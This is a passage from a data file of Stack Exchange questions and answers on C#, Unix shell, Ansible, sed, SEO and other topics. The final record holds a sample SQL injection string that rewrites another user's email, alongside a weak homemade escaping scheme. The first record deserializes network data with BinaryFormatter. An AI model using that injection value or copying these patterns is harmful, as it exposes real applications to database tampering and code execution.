ArgumentNullException(Queue<TestServerDataPacket> can not be null!); } // _readContinuously = true; // DoReadContinuously(s, bufferSize, packetQueue); } catch { throw; } } private async void DoReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue) { // byte[] buffer = new byte[bufferSize]; // TestServerDataPacket packet; try { // Read Packet Length = 4 bytes int bytesReceived = 0; while (bytesReceived < 4) { // int byteread = await s.ReadAsync(buffer, bytesReceived, 4 - bytesReceived); // if (byteread == 0) { // 0 bytes read = end of stream / disconnected throw new Exception(Connection Closed!); } // bytesReceived += byteread; } bytesReceived = 0; // Get Packet Size int packetSize = BitConverter.ToInt32(buffer, 0); // Create Packet Byte Array byte[] packetbytes; // Read Data using (MemoryStream memoryStream = new MemoryStream()) { // Read Data while (bytesReceived < packetSize) { // Adjust Buffer size to catch only the packet and nothing else if (buffer.Length > (packetSize - bytesReceived)) { buffer = new byte[(packetSize - bytesReceived)]; } // int count; if ((count = await s.ReadAsync(buffer, 0, buffer.Length)) > 0) { // Save Data memoryStream.Write(buffer, 0, buffer.Length); // Count bytesReceived += count; } } // Get Packet Bytes Array packetbytes = memoryStream.GetBuffer(); } // Create Packet DeserializeData(packetbytes, out packet); } catch { throw; } // if (packet != null) { packetQueue.Enqueue(packet); } // if (_readContinuously) { DoReadContinuously(s, bufferSize, packetQueue); } } private void DeserializeData(byte[] data, out TestServerDataPacket packet) { BinaryFormatter formatter = new BinaryFormatter(); using (MemoryStream stream = new MemoryStream()) { // stream.Write(data, 0, data.Length); stream.Seek(0, SeekOrigin.Begin); // packet = (TestServerDataPacket)formatter.Deserialize(stream); } } } [Serializable] public class TestServerDataPacket { // Unique Id public readonly Guid Id; // Type public readonly TestServerPacketType Type; // Sugnal/Message public readonly int Signal = 0; // public TestServerDataPacket(int signal) { Id = Guid.NewGuid(); Signal = signal; Type = TestServerPacketType.Signal; } } public enum TestServerPacketType { Signal }}" , "title": "ReadAsync: Continuously reads stream and spits out Packets" , "tags": "c#;socket;stream;async await" } { "id": "_unix.347270" , "question": "I have extracted the user name to perform a test: w | grep ^usera | wc -lwhich will show 1 if the usera have an open session, but now I need more generic use case to extract user group.Example: Extract user group , if group=admin, then wc -l how many users from grp admin have an active session." , "title": "Extract user group while trying to connect using ssh" , "tags": "linux;shell script;command line" } { "id": "_unix.39342" , "question": "I want to see if my process makes a lot of context switches. I also want to see how manpulating task groups affects the number of context switches." , "title": "How to see how many context switches a process makes?" , "tags": "linux;shell;process" } { "id": "_datascience.20363" , "question": "how is countvectorizer used in real production environment?do you keep training the model with new features/vocabulary everyday and save the vocab into a flat file and reload them up on the next day?do you use a pipeline to streamline the process?what is the best practice?we are going to implement a combination of countvectorizer,tfidf and some machine learning algo in production system soon and any tips or practical experiences will be appreciated.thanks!" , "title": "how is countvectorizer used in real production environment?" , "tags": "nlp;preprocessing" } { "id": "_webapps.60917" , "question": "Is there a way to have posts appear in both your Google Plus (business) Page and personal posts without posting twice?For example, if I post to my Page stream, I want that post to also show up in my personal stream and vice versa." , "title": "Post both to Google Plus Personal and Page?" , "tags": "google plus" , "accepted_answer": "No. You will have to post twice or post once and reshare that post." } { "id": "_softwareengineering.203527" , "question": "My customer has his own graphics designer he wants to use to style his web application we're building in ASP.NET MVC 4. Our solution is in Bitbucket, but if he can't run it what choices do we have? I doubt he uses Visual Studio 2012. One idea is for us to publish to our solution to a file system, send it to him, have him create a local IIS website on his machine (assuming he isn't using a Mac). Mocking data or pointing to a test SQL in Azure isn't a problem. Then he can make changes to .css and .cshtml files. Will this even work? The point is that he needs to be able to test his changes. I know he can modify the views and just check-in. But he needs to deliver a working design. So it seems inefficient.The graphics designer will have access to our test site so he can see how it works, what data we have and fields. Another idea is for him to build a static mock site using just HTML/CSS. Later I'd integrate his styles into customer's solution, split his html into partial views which we use and add Razor syntax. Again, we'd like to leverage graphics designer for all of this. Is there a best practice documented around this subject? How do other teams deal with this situation?" , "title": "Best way for an external (remote) graphics designer to style ASP.NET MVC 4 app?" , "tags": "web development;asp.net mvc;collaboration;web design" } { "id": "_webmaster.88447" , "question": "We are using Salesforce's Visualforce to run one of our websites.We use Moz to monitor SEO issues.Moz has identified more issues pages than we have - see the attached image. We have only a few thousand pages at best. However Google and Moz are taking keywords and adding it to the end of the domain and creating a URL that doesn't exist. Recently I made all of these URLs redirect to the home page to see if it resolved the issue - it didn't and the URLs that don't exist are still being crawled.What do I do - this is effecting my rank. Please help?" , "title": "False Duplicate Content On Moz Report" , "tags": "seo;htaccess;web development;301 redirect;duplicate content" , "accepted_answer": "The CMS was just trying to serve broken pages on unreal URLs. I had to add a small php script that identified if the URL was valid or not. If the your was invalid it would redirect to a 404 page" } { "id": "_webmaster.18421" , "question": "Let's say I keep every word of file names capitalized. For example, Home.php or MultipleWordTitle.html.Is there any way for Apache to redirect requests for incorrectly-cased URLs to the capitalized pages, preferrably using .htaccess?Simply rewriting the URL to make the first letter capitalized won't work, since some files have multiple capital letters.Ideally, I'd like the change to be reflected on the user's side, so it would show up as MultipleWordTitle.html in his/her address bar. It's okay if that can't be done, though." , "title": "Can Apache Correct URL Case?" , "tags": "apache;htaccess;url;url rewriting" , "accepted_answer": "There are many reasons not to ignore the all-lowercase convention but, if you believe you have a good reason for doing so, you can use Apache's mod_speling to ignore case problems in the request and then specify the canonical URL in the document itself, or issue a redirect as LazyOne described." } { "id": "_softwareengineering.198309" , "question": "For some time in personal projects I have been using XSL to convert my raw XML data into human-friendly HTML/CSS (in simple projects, I have no JavaScript, so let's leave that out of the equation for simplicity).Now I'm trying to understand the MVC architectural pattern (not my first experience with it, but it is taking some work to go from understanding it basically to understanding it well), and I'm wondering if there is an analogy between the two.XML: data model; lacks the complexity/logic of a full-blown model component, but intent seems similarXSL: converts raw data for viewing—seems like a controllerHTML/CSS (rendered): the viewable outputIs this analogy fitting? What in it matches well and what does not?(One dissimilarity, I suppose, is that in my example I am not getting any input back from the view—only producing output.)" , "title": "Is XML, HTML/CSS, XSL analogous to Model, View, Controller?" , "tags": "mvc;html;css;xml;xslt" , "accepted_answer": "In this case, I would suggest that you don't really have a controller per se. The XML is the model and the XSL (by way of producing an HTML output) is a view on that data. If you had some mechanism which took some user input and filtered (or caused to be filtered) the raw XML prior to the XSL transformation, then you might consider that mechanism to be your controller." } { "id": "_unix.192325" , "question": "I want to display a text above the user screen(as an upper layer). I know that there is solutions like xmessages that could display the text in a box, But need it to be displayed without a box on the entire screen if possibleI am running RaspbianIs there any solution/software that could do this ?" , "title": "How display a text for users in the entire screen" , "tags": "x11;raspbian;display" , "accepted_answer": "xosd, which is available in Raspbian, can display text on top of the current X screen. It takes its input from a file or from the standard input:echo Hello | osd_cat -p middle -A centerIt's an old-style X11 application so its configuration can be verbose; changing the font in particular looks likeecho Hello | osd_cat -p middle -A center -f '-*-lucidatypewriter-bold-*-*-*-*-240'or even strictly speakingecho Hello | osd_cat -p middle -A center -f '-*-lucidatypewriter-bold-*-*-*-*-240-*-*-*-*-*-*'You can customise the colour, add a shadow and/or outline, change the delay, even add a progress bar." } { "id": "_unix.365999" , "question": "This is the tutorial shows:You can see the /application/nginx -> /application/nginx-1.8.0But I follow the steps:[root@localhost nginx-1.8.0]# ll /application/nginxlrwxrwxrwx. 1 root root 12 5 19 04:01 /application/nginx -> nginx-1.8.0/It is nginx-1.8.0/, there is no /application in front it, and sure the nginx-1.8.0 is the Symbolic Link under the /application.My operating system is Cnet OS 7.2The tutorial operating system is Cent OS 6.8The difference between the tutorial if is the system reason?" , "title": "In my CentOS 7.2 the symbolic link is not the whole directory" , "tags": "centos;symlink" } { "id": "_softwareengineering.151375" , "question": "Years ago, I was surprised when I discovered that Intel sells Visual Studio compatible compilers. I tried it in particular for C/C++ as well as fantastic diagnostic tools. But the code was simply not that computationally intensive to notice the difference. The only impression was: did Intel really do it for me just now, wow, amazing tools with nanoseconds resolution, unbelievable. But the trial ended and the team never seriously considered a purchase.From your experience, if license cost does not matter, which vendor is the winner?It is not a broad or vague question or attemt to spark a holy war. This sort of question is about two very visible tools. Nobody likes when tools have any mysteries or surprises. And choices between best and best are always the pain. I also understand the grass is always greener argument. I want to hear all what ifs stories.What if Intel just locally optimizes it for the chip stepping of the month, and not every hardware target will actually work as well as Microsoft compiled? What if AMD hardware is the target and everything will slow down for no reason? Or on the other hand, what if Intel's hardware has so many unnoticable opportunities, that Microsoft compiler writers are too slow to adopt and never implement it in the compiler? What if both are the same exactly, actually a single codebase just wrapped into two different boxes and licensed to both vendors by some third-party shop?And so on. But someone knows some answers." , "title": "Are Intel compilers really better than the Microsoft ones?" , "tags": "compiler" , "accepted_answer": "WARNING: Answer based on own experience - YMMVIf the code is really computationally expensive, yes, definitely. I have seen an improvement of over 20x times with the former Intel C++ Compiler (now Intel Studio if I recall correctly) vs the standard Microsoft Visual C++ Compiler. It's true the code was very far from perfect and that may have played a role (actually that's why we bothered using the Intel compiler, it was easier than refactoring the giant codebase), also the CPU used to run the code was an Intel Core 2 Quad, which is the perfect CPU for such a thing, but the results were shocking. The compiler itself contains myriads of ways to optimize code, including targeting a specific CPU in terms of, say, SSE capabilities. It really makes -O2/-O3 run away ashamed. And that was before using the profiler.Note that, however, turning on really aggressive optimizations will make the compilation take quite some time, two hours for a large project is not impossible at all. Also, with high levels of optimizations, there's a higher chance of an error in the code to manifest itself (this can be observed with gcc -O3, too). To a project you know well, this might be a plus, since you'll find and fix any eventual bugs you didn't catch earlier, but when compiling a hairy mess, you just cross your fingers and pray to the x86 gods.Something about performance on AMD machines: It's not as good as Intel CPUs, but it's still way better than the MS C++ compiler (again, from my experience). The reason is that you can also target a generic CPU with SSE2 support (for example). Then AMD CPUs with SSE2 will not be discriminated much. Intel compiler on Intel CPU really steals the show, though. It's not all double rainbows and shiny unicorns, however. There have been some heavy accusations about binaries not-running at all on non-GenuineIntel CPUs and (this one is admitted) artificially induced inferior performance on CPUs by other vendors. Also note this is information from at least 3 years ago and it's validity as of now is unknown, BUT the new product descriptions gives binaries a carte blanche to run as slow as Intel sees fit on non-Intel CPUs.I don't know what it is about Intel and why they make so good numeric computation tools, but have a look at this, too: http://julialang.org/. There is a comparison and if you look at the last row, MATLAB shines by defeating both C code and Julia, what strikes me is that the authors think the reason is Intel's Math Kernel Library.I realize this sounds a lot like an advertisement for the Intel Compiler toolkit, but in my experience it really did the job well, and even simple logic dictates that the guys who make CPUs should know best how to program for them. IMO, the Intel C++ compiler squeezes every last bit of performance gain possible." } { "id": "_unix.379653" , "question": "I am using zsh.I will right-click copy something from the zsh window, and then right-click paste it. I always lose some amount of characters and the capitalization of the last character flips. e.g.echo this is a long messagepastes as (empty line)this is a long messaGandvim hello.txtbecomesm hello.tXWhat could be causing this and how do I fix it?" , "title": "Paste has odd behavior in shell" , "tags": "shell;zsh;clipboard" } { "id": "_unix.293460" , "question": "I must have read about 65 web pages about this issue, and tried them all, but so far I can't get it to work. I can access my exchange email using Thunderbird, with the imap server set to localhost at port 1143, and the smtp server again set to localhost; this time with port 1025. These port values are set in my davmail setup, and as I say this is what I use with Thunderbird.The relevant portion of my .muttrc file isset realname = 'Jim Bloggs'set imap_user = 'AD\\12345'set imap_pass = 'My Password' set from = 'Jim.Bloggs@jimsmail.org'# REMOTE FOLDERSset folder = 'imap://12345@localhost:1143/Inbox'set spoolfile ='imap://12345@localhost:1143/' set trash = 'imap://12345@localhost:1143/Trash'# LOCAL FOLDERS FOR CACHED HEADERS AND CERTIFICATESset header_cache =~/.mutt/jim_bloggs/cache/headersset message_cachedir =~/.mutt/jim_bloggs/cache/bodiesset certificate_file =~/.mutt/jim_bloggs/certificates# SMTP SETTINGSset smtp_url = 'smtp://12345@localhost:1025/'set ssl_starttls=yesset smtp_pass = 'My Password' # use the same password as for IMAPCurrently what happen is this: it logs in and starts to download mail (and takes a v..e..r..y long time - about 15 or 20 minutes - to download 1902 headers), and then hangs on Sorting mailbox...I am using mutt quite happily for accessing several gmail accounts, and I would like to use it to access my exchange mail as well. But how...?" , "title": "Reading exchange email with mutt and davmail?" , "tags": "arch linux;mutt;exchange;davmail" } { "id": "_softwareengineering.302588" , "question": "I am trying to understand the subtleties of Publisher-subscriber and similar notification mechanisms. I was checking Cocoa NSNotificationCenter, but it's unclear to me if it can be defined as a PubSub, strictly speaking. Is NSNotificationCenter a PubSub?" , "title": "Is NSNotificationCenter an implementation of a PubSub model?" , "tags": "pubsub" } { "id": "_cstheory.11382" , "question": "I noticed that regular languages over the alphabet $\\Sigma$ can be naturally thought of as a poset, and indeed a lattice. Moreover, concatenation together with the empty language $\\epsilon$ defines a strict monoidal structure on this category that is distributive over joins (I'm not sure about meets). Is this a useful construct in theory or practice of regular languages? Are there some nice adjunctions to be found, e.g. can we define the Kleene star as one?This is a copy of a question asked at the Compilers course at Coursera:https://class.coursera.org/compilers/forum/thread?thread_id=311" , "title": "Regular languages from category-theoretical point of view" , "tags": "fl.formal languages;regular language;ct.category theory" , "accepted_answer": "There has been a lot done applying category theory to regular languages and automata. One starting point is the recent papers:Bialgebraic Review of Deterministic Automata, Regular Expressions and Languagesby Bart JacobsA Bialgebraic Approach to Automata and Formal Language Theory by James Worthington.In the first of these papers, the structure of regular expressions is treated algebraically and the languages generated are dealt with coalgebraically. These two views are integrated in a bialgebraic setting. A bialgebra is an algebra-coalgebra pair with a suitable distributive law capturing the interplay between the syntactic terms (the regular expressions) and the computational behaviour (languages generated). The basis of this paper is algebra and coalgebra, as treated in computer science under the umbrellas of universal algebra and coalgebra, rather than what one sees in mathematics (groups etc).The second paper uses techniques that come from the more traditional mathematical treatment of algebra (modules etc) and coalgebra, but I'm afraid that I don't know the details.Neither treats Kleene star as an adjunction, as far as I can tell.More generally, there is a lot of work applying category theory to automata instead of regular expressions. A sample of this work includes:Bloom S.L.; Sabadini N.; Walters R.F.C. Matrices, Machines and Behaviors. Applied Categorical Structures, Volume 4, Number 4, December 1996 , pp. 343-360(18) Michael A. Arbib, Ernest G. Manes: A categorist's view of automata and systems. Category Theory Applied to Computation and Control 1974: 51-64M.A. Arbib and E.G. Manes. Adjoint machines, state-behaviour machines, and duality. Journal of Pure and Applied Algebra, 6:313-344, 1975.M.A. Arbib and E.G. Manes. Machines in a category. Journal of Pure and AppliedAlgebra, 19:9-20, 1980.Jir Admek and Vera Trnkov's book Automata and Algebras in Categories, as pointed out in a comment.Finally, there's the work on iteration theories, Iteration theories: the equational logic of iterative processes by Stephen L. Bloom and Zoltn sik, which focusses on iteration (e.g., Kleene star), but from a more general perspective, where regular languages are just one thing that falls under the theory." } { "id": "_unix.30659" , "question": "I want to change an image depth of bitmap for testing purposes. Right now I am trying to get a 2 bit palette image, and a 4444 Hicolor image. I have a true color bitmap. I used the below command line convert -depth 2 /media/bitmap/rule.bmp lut2bpp.bmpthen when I used identify I got thisImage: lut2bpp.bmpFormat: BMP (Microsoft Windows bitmap image)Class: PseudoClassGeometry: 720x480Type: PaletteEndianess: UndefinedColorspace: RGBChannel depth:Red: 8-bitsGreen: 8-bitsBlue: 8-bitsIt changed it to a palette which is great, how do I get to change channel depth?How about changing that true color 24 bit image to hi color 4444 image?" , "title": "Using Image Magick Convert to Change Channel Depth?" , "tags": "linux;command line;conversion;imagemagick" } { "id": "_unix.208838" , "question": "I'm trying to retrieve the group ID of two groups (syslog and utmp) by name using an Ansible task. For testing purposes I have created a playbook to retrieve the information from the Ansible host itself.---- name: My playbook hosts: enabled sudo: True connection: local gather_facts: False tasks: - name: Determine GIDs shell: getent group {{ item }} | cut -d : -f 3 register: gid_{{item}} failed_when: gid_{{item}}.rc != 0 changed_when: false with_items: - syslog - utmpUnfortunately I get the following error when running the playbook:fatal: [hostname] => error while evaluating conditional: gid_syslog.rc != 0How can I consolidate a task like this one into a parametrized form while registering separate variables, one per item, for later use? So the goal is to have variables based on the group name which can then be used in later tasks.I'm using the int filter on gid_syslog.stdout and gid_utmp.stdout to do some calculation based on the GID in later tasks.I also tried using gid.{{item}} and gid[item] instead of gid_{{item}} to no avail.The following works fine in contrast to the above:---- name: My playbook hosts: enabled sudo: True connection: local gather_facts: False tasks: - name: Determine syslog GID shell: getent group syslog | cut -d : -f 3 register: gid_syslog failed_when: gid_syslog.rc != 0 changed_when: false - name: Determine utmp GID shell: getent group utmp | cut -d : -f 3 register: gid_utmp failed_when: gid_utmp.rc != 0 changed_when: false" , "title": "How would I register a dynamically named variable in an Ansible task?" , "tags": "ansible" , "accepted_answer": "I suppose there's no easy way for that. And register with with_items loop just puts all results of them into an array variable.results. Try the following tasks: tasks: - name: Determine GIDs shell: getent group {{ item }} | cut -d : -f 3 register: gids changed_when: false with_items: - syslog - utmp - debug: var: gids - assert: that: - item.rc == 0 with_items: gids.results - set_fact: gid_syslog: {{gids.results[0]}} gid_utmp: {{gids.results[1]}} - debug: msg: {{gid_syslog.stdout}} {{gid_utmp.stdout}}You cannot either use variable expansion in set_fact keys like this: - set_fact: gid_{{item.item}}: {{item}} with_items: gids.results" } { "id": "_softwareengineering.299907" , "question": "Sometimes I find it useful to have a single class with multiple instances (configured differently via their properties), rather than multiple classes (inheritance).??? PatternSingle class (Fruit)Different fruit are instances of Fruit, with properties configured correctly.Behavior implemented as blocks.class Fruit { var name: String var color: UIColor var averageWeight: Double var eat: () -> ()}class FruitFactory { static func apple() -> Fruit { let fruit = Fruit() fruit.name = Apple fruit.color = UIColor.redColor() fruit.averageWeight = 50 fruit.eat = { washFruit(fruit) takeBite(fruit) } return fruit } static func orange() -> Fruit { let fruit = Fruit() fruit.name = Orange fruit.color = UIColor.orangeColor() fruit.averageWeight = 70 fruit.eat = { peelFruit(fruit) takeBite(fruit) } return fruit }}Inheritance PatternFor reference, the same could have been implemented using inheritance:Multiple classes (Fruit, Apple, Orange)Different fruit are classes that inherit from Fruit.Behavior implemented using standard methods that are overridden in subclasses.class Fruit { var name: String var color: UIColor var averageWeight: Double func eat() { // abstract method }}class Apple: Fruit { var name = Apple var color = UIColor.redColor() var averageWeight = 50 override func eat() { washFruit(self) takeBite(self) }}class Orange: Fruit { var name = Orange var color = UIColor.orangeColor() var averageWeight = 70 override func eat() { peelFruit(self) takeBite(self) }}class FruitFactory { static func apple() -> Fruit { return Apple() } static func orange() -> Fruit { return Orange() }}What is the first pattern called?Are there any resources to help me decide when to use one of these patterns over the other?Off the top of my head, I can think of at least one reason to prefer inheritance:Imagine we need to add a new property to Apple, but not to Orange (e.g. averageCoreWeight). If you use inheritance this is trivial. If you use the first pattern, you will be left with a property that is only sometimes used." , "title": "What is the pattern that uses multiple instances rather than multiple classes called? When would I use it?" , "tags": "design patterns;inheritance" } { "id": "_webmaster.31814" , "question": "Possible Duplicate:What is duplicate content and how can I avoid being penalized for it on my site? My compony's site's home page was not specificly optimized to any location. Now, I am planning to optimize it to Boston, and create ten or so other landing pages for other locations we serve. If we made these new pages by copying the original Boston one and changing the location's name (s/Boston/Montreal/), would Google consider them as duplicate pages and penalize us? What is the best practice for this?" , "title": "Does Google penalize pseudo-duplicate pages for different locations?" , "tags": "seo;google;search engines;duplicate content" } { "id": "_webmaster.52096" , "question": "Keyword research tools like Keyword Planner seem to fulfill two basic functions:Generate a list of possible keywordsProvide estimates (CPC, traffic, ...) to whittle down this list to the most effective keywordsDo I need the second step? Is there any downside in uploading a huge list with thousands of keywords and just wait and see how they perform? It's pay per click so I'm not losing money on low performing keywords.Ultimately I'm only interested in conversions and that's a metric that can't be estimated by the tools anyway.Edit:As Joshak points out, I need to remove all obviously non-converting keywords. What about other keywords that could theoretically convert but the estimates show it's unlikely. For example 0 traffic or very high cpc, so it's unlikely I will win the bid. It would be more work to remove them and there are slight changes that they bring conversions. Is there any downside in using them?" , "title": "Should I enter only effective keywords into AdWords?" , "tags": "google adwords" , "accepted_answer": "Generally the step 1 you refer to generates a lot of keywords that are marginally relevant or keywords that have no chance of converting, these keywords will still likely drive clicks so step 2 helps you save some (or a lot) of money when you begin your campaigns. It doesn't take long to weed out those keywords that are obviously not helpful as well as gather ideas for negative keywords that will help your campaigns perform to the fullest. In short, even after you whittle down the list there will still be more keywords to weed out once you get real data, but I wouldn't just load the list from step 1 unless you have money to burn." } { "id": "_unix.325549" , "question": "I am working with a xml file that looks a bit like this<w:ins w:id=0 w:author=Nick w:date=2016-11-23T00:16:00Z><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick w:date=2016-11-23T00:16:00Z>I am trying to delete everything involving w:date so the product would look like.<w:ins w:id=0 w:author=Nick><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick>Currently, I am trying this incorrect sed command. sed 's/w:date=.*//g' I know this is wrong but I am not sure how I would go about fixing this.EDIT:cat testing.txt <w:ins w:id=0 w:author=Nick w:date=2016-11-23T00:16:00Z><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick w:date=2016-11-23T00:16:00Z>sed 's/ w:date=[^\\]*//g' testing.txt<w:ins w:id=0 w:author=Nick>" , "title": "Sed command for deleting an inclusive range of characters" , "tags": "sed;regular expression" , "accepted_answer": "Your expression is too greedy. You want to match the attribute, a quote, some non-quote characters then the ending quote:sed 's/ w:date=[^]*//g' file# ..............^^^^<w:ins w:id=0 w:author=Nick><w:r w:rsidR=009C39E2><w:rPr><w:ins w:id=1 w:author=Nick>" } { "id": "_webmaster.86885" , "question": "When I try to Create a similar ad on Facebook, there is the option to choose an existing ad set in which to publish the ad. But these settings are never updated on the ad creation page, and all ads I create also create a new ad set.How do I create a new ad within an existing ad set?I tried the power editor in Google Chrome, but every new ad was rejected even before upload for not complying to something Instagram, even if it was an exact duplicate of an existing (accepted and active) ad." , "title": "Creating new ad in existing ad set does not work" , "tags": "advertising;facebook" , "accepted_answer": "Worked fine the next morning. I guess the problem was that these functions rely on Javascript, and dynamic JavaScript functionality often fails without error (here in Germany) when the USA wake up and Facebook gets really busy. So if you have a similar problem, try when America sleeps. Solved the problem for me." } { "id": "_codereview.153271" , "question": "This is a continued discussion from (4 sum challenge) by return count only.ProblemGiven four lists A, B, C, D of integer values, compute how many tuples (i, j, k, l) there are such that A[i] + B[j] + C[k] + D[l] is zero.To make problem a bit easier, all A, B, C, D have same length of N where \\$0 \\le N \\le 500\\$. All integers are in the range of \\$-2^{28}\\$ to \\$2^{28} - 1\\$ and the result is guaranteed to be at most \\$2^{31} - 1\\$.Example:Input:A = [ 1, 2]B = [-2,-1]C = [-1, 2]D = [ 0, 2]Output:2Explanation:The two tuples are:(0, 0, 0, 1) -> A[0] + B[0] + C[0] + D[1] = 1 + (-2) + (-1) + 2 = 0(1, 1, 0, 0) -> A[1] + B[1] + C[0] + D[0] = 2 + (-1) + (-1) + 0 = 0I'm wondering if there are any ideas to have a solution less than \\$O(n^2)\\$ time complexity.Source code in Python 2.7,from collections import defaultdictdef four_sum(A, B, C, D): sum_map = defaultdict(int) result = 0 for i in A: for j in B: sum_map[i+j] += 1 for i in C: for j in D: if -(i+j) in sum_map: result += sum_map[-(i+j)] return resultif __name__ == __main__: A = [1, 2] B = [-2, -1] C = [-1, 2] D = [0, 2] print four_sum(A,B,C,D)" , "title": "4 sum challenge (part 2)" , "tags": "python;algorithm;programming challenge;python 2.7" , "accepted_answer": "Proof that it cannot be done (at least based on our current understanding) in much better than \\$O(n^2)\\$:Suppose A = B = C and D is a list of zeros. Then the problem reduces to finding three numbers in A that sum to zero. This is the famous 3SUM problem, for which we do not have a much better general solution than \\$O(n^2)\\$." } { "id": "_softwareengineering.321361" , "question": "I'm looking for suggestions on how to read large Javascript codebases, for example, of a framework. For example, let's say P5js, but this applies to any large framework (i.e like AngularJS, Ember, etc)My goal is to be able to look through a Javascript framework's source code and be able to understand what various functions do and how they work. I want to be able to investigate the inner workings of the framework and understand what its important objects and variables are.The problem is that the files are so large, functions that are exposed through the documentation internally call several more layers of private functions, and an assortment of internal objects and data structures are referred to. This is true for most frameworks I've examined. On top of that, there are also events, watchers and other mechanisms that make it harder to track what is happening under the hood.With Java, this was a lot easier for me - though still time consuming - because I could open the project in Eclipse and easily navigate through the call stack, call hierarchies, identify types, parameters, etc. With Javascript it just seems impossible.So, what are some good techniques you could recommend for reading and understanding large (multi-thousand line) framworks, particularly in Javascript (though general cross=language techniques are also welcome)" , "title": "What are some good approaches for reading Javscript code?" , "tags": "javascript;frameworks;reverse engineering;reading code" } { "id": "_unix.291304" , "question": "I load the RHEL 7.2, I forget to select the options before loading OS, after my machine booted through console mode runlevel 3, I installed some dependency package, after reboot I got GUI mode, but after every reboot machine I get console mode then I run the command init 5 for GUI mode.My question is how to set runlevel 5 to default?" , "title": "How to switch console mode to GUI mode on RHEL7?" , "tags": "rhel" } { "id": "_reverseengineering.13248" , "question": "I tried firmware-mod-kit's extract-firmware.sh script and I receive the following output which ends with No supported filesystem found.The firmware belongs to the TL-WR740Nv5 router.The filesystem of the router is Squashfs 4.0.Here's the output:http://pastebin.com/FM9uE47tWhat do I do?" , "title": "Firmware-mod-kit says No supported filesystem along with strange and long output" , "tags": "binary analysis;firmware;binary" } { "id": "_cogsci.3939" , "question": "I'm working with a dataset wherein participants rate five different attributes of six device variants; the attribute ratings different variants are very tightly correlated, suggesting that this dataset has a problem with halo error--participants form an overall impression of the quality of the device, and then instead of reassessing the device for each attribute, they answer each attribute with their overall evaluation of the device. What strategies are used to combat this effect, either before execution in the design of the study or after execution in the analysis? Citations for evidence for any strategies particularly desired." , "title": "Minimizing Halo Error" , "tags": "methodology;statistics;bias;survey;halo effect" , "accepted_answer": "Murphy & Cleveland (1995) mention, that a good way to reduce rater errors in general is to inform raters of the existence and nature of these errors and then to simply urge to avoid them. While this reduces rater errors, it also decreases the accuracy of ratings, though. These findings come from the literature on performance assessment, where halo is usually thought of as the opposite of accuracy. The unexpected association has been termed the halo-accuracy-paradox.Some authors have proposed that the paradoxical effect is due to different operational definitions of halo (Fisicaro, 1988). Apparently there is some evidence that the paradoxcal effect vanishes when this problem is taken care of.An interesting explanation comes from Latham (Woehr & Huffut, 1994). For him it's all in the way that raters are informed about halo. If raters are told that halo is a global tendency across different ratings and that it is a bad thing, then raters are going to avoid exactly that. But that does not make the ratings more accurate. So when training raters one has to be careful not to create this kind if effect.In contrast, a meta-analysis by Woehr & Huffcut (1994) that investigates the effectiveness of different kinds of rater trainings does not find the paradoxical effect. Instead, rater trainings moderately decreases halo and increases accuracy. The authors also found support for Latham's hypothesis. The mean effect size when rater training was in accordance with his view was bigger compared to the other cases. Still, Murphy and Cleveland (1995) are quite radical in their proposal. To them, there are serious problems with all operational definitions of halo (and rater errors in general). Therefore measurements of rater errors should be abandoned altogether. Hence, in their view it doesn't make sense to speak of a paradox.References:Fisicaro, S. A. (1988). A reexamination of the relation between halo error and accuracy. Journal of Applied Psychology. 73(2), 239.Murphy, K. R. & Cleveland, J.N. (1995). Understanding performance appraisal: Social, organizational, and goal-based perspectives. Thousand Oaks: Sage.Woehr, D. J., & Huffcutt, A. I. (1994). Rater training for performance appraisal: A quantitative review. Journal of Occupational and Organizational Psychology, 67(3), 189-205." } { "id": "_unix.226438" , "question": "The getpid system call returns the process id of the invoking process.How does the kernel figure out which process is invoking the system call ?" , "title": "How does getpid work?" , "tags": "process;c;system calls" , "accepted_answer": "The kernel does job scheduling and provides system calls.When a process is running, the kernel schedules its runtime - especially it assigns a PID to it - such information is stored inside the kernel address space, in data structures (e.g. inside a task struct).Thus, when a process calls the getpid() system call, the kernel just has to look in the task structure of the calling (i.e. currently running) process." } { "id": "_unix.247851" , "question": "I found this line script in package added by Composerdir=$(echo $dir | sed 's/ /\\ /g')I tried in the Git Bash$ echo $(echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\ | sed 's/ /\\ /g')foo\\bar\\ foo/baz/ qux\\bax\\Can you explain how this works? I can't see match for double backslash.EDIT.Now I see my mistake. Turning double backslash to one backslash in echo has nothing to do with sed.I don't have od in the Git Bash, but I tried.$ echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\ >in.txt$ echo $(echo foo\\bar\\ foo/baz/ qux\\\\bax\\\\ | sed 's/ /\\ /g') >out.txt$ cmp -l in.txt out.txt 27 40 12cmp: EOF on out.txtThe out.txt is one character shorter than in.txt.But I still don't get what does sed 's/ /\\ /g' actually do and why.Might the entire context be useful for viewers#!/usr/bin/env shdir=$(d=${0%[/\\\\]*}; cd $d; cd ../squizlabs/php_codesniffer/scripts && pwd)# See if we are running in Cygwin by checking for cygpath programif command -v 'cygpath' >/dev/null 2>&1; then # Cygwin paths start with /cygdrive/ which will break windows PHP, # so we need to translate the dir path to windows format. However # we could be using cygwin PHP which does not require this, so we # test if the path to PHP starts with /cygdrive/ rather than /usr/bin if [[ $(which php) == /cygdrive/* ]]; then dir=$(cygpath -m $dir); fifidir=$(echo $dir | sed 's/ /\\ /g')${dir}/phpcs $@" , "title": "How works sed 's/ /\\ /g'" , "tags": "sed" } { "id": "_codereview.60334" , "question": "I am building a classifieds website here in Portugal, and I'm now in the security phase. So until now, I already made what I think is a good measure against SQL injection:$firstname = chunk_split(mysql_real_escape_string($_POST[firstname]),1,'.');$lastname = chunk_split(mysql_real_escape_string($_POST[lastname]),1,'.');$email = chunk_split(mysql_real_escape_string($_POST[email]),1,'.');etc...This will save valid and invalid emails, for example, like this:good email: u.s.e.r.@.e.m.a.i.l.h.o.s.t...c.o.m.bad email: Example of text in the email field:Y'; UPDATE table SET email = 'hacker@ymail.com' WHERE email = 'joe@ymail.com';and after stored in the database:Y.\\.'.;. .U.P.D.A.T.E. .t.a.b.l.e. .S.E.T. .e.m.a.i.l. .=. .\\.'.h.a.c.k.e.r.@.y.m.a.i.l...c.o.m.\\'. .W.H.E.R.E. .e.m.a.i.l. .=. .\\.'.j.o.e.@.y.m.a.i.l...c.o.m.\\.'.;.So, I don't care if the size of the stored string is bigger 